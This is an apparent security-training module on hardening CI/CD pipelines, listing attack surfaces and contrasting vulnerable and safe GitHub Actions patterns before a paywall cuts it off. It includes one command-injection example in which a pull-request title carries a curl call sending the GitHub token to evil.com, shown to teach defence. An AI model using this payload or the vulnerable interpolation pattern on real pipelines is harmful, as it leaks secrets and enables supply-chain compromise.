Academy

Module 4 Β· CI/CD Pipeline Hardening πŸ”’

Manish Garg
Manish Garg Associate CISSP Β· RingSafe
April 22, 2026
5 min read

The CI/CD pipeline is the single system that can build and deploy your production code. Compromise it and you control every release, every commit, every secret your pipelines touch. Attackers know this β€” supply chain attacks via pipeline have moved from rare to common. This module covers the specific vulnerability classes in pipelines and the hardening that actually works.

Why pipelines are high-value targets

  • They hold credentials to production: cloud deploy roles, registry push, prod databases
  • They run untrusted input: PR code from anyone, dependencies from open-source registries
  • They have build-time network and filesystem access β€” an attacker who executes in a build runner touches everything
  • Compromising a widely-shared pipeline (reusable workflow, shared library) cascades to many downstream repos

The attack surface

  1. Pipeline config injection β€” YAML that interprets untrusted input (PR titles, branch names, commit messages) as shell
  2. Pwn-requests β€” PRs from forks that trigger privileged workflows via pull_request_target
  3. Third-party actions/plugins β€” pulling @v1 tag (mutable) that gets compromised later
  4. Secrets leakage β€” secrets printed in logs, exported to env vars captured by a compromised step
  5. Runner compromise β€” self-hosted runners shared across workflows, not ephemeral
  6. Registry access β€” push credentials that can be abused to publish malicious images
  7. OIDC trust misconfiguration β€” cloud roles federated to CI with overly broad trust policies

Pipeline config injection β€” the classic

# BAD β€” vulnerable to injection
- run: echo "Processing PR ${{ github.event.pull_request.title }}"

# An attacker PR with title: a"; curl evil.com/$GITHUB_TOKEN #
# Runs in the workflow context with full token

# GOOD β€” pass via env var (never interpolated into shell)
- run: echo "Processing PR $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

Rule: never directly interpolate ${{ github.event.* }} or ${{ github.head_ref }} into shell. Route through environment variables.

Pwn-requests β€” pull_request_target

GitHub’s pull_request trigger runs in the PR’s context (limited permissions, no secrets from the base repo). pull_request_target runs in the base repo’s context (full secrets, write access to the repo). Attackers target workflows using pull_request_target that also check out PR code β€” the PR can inject malicious code that runs with base-repo privileges.

πŸ” Intermediate Module Β· Basic Tier

Continue reading with Basic tier (β‚Ή499/month)

You've read 23% of this module. Unlock the remaining deep-dive, quiz, and every other Intermediate module.

99+ modulesAll levels up to this tier
20-question quizzesUnlimited retries with explanations
Completion certificatesShareable on LinkedIn
7 more sections locked below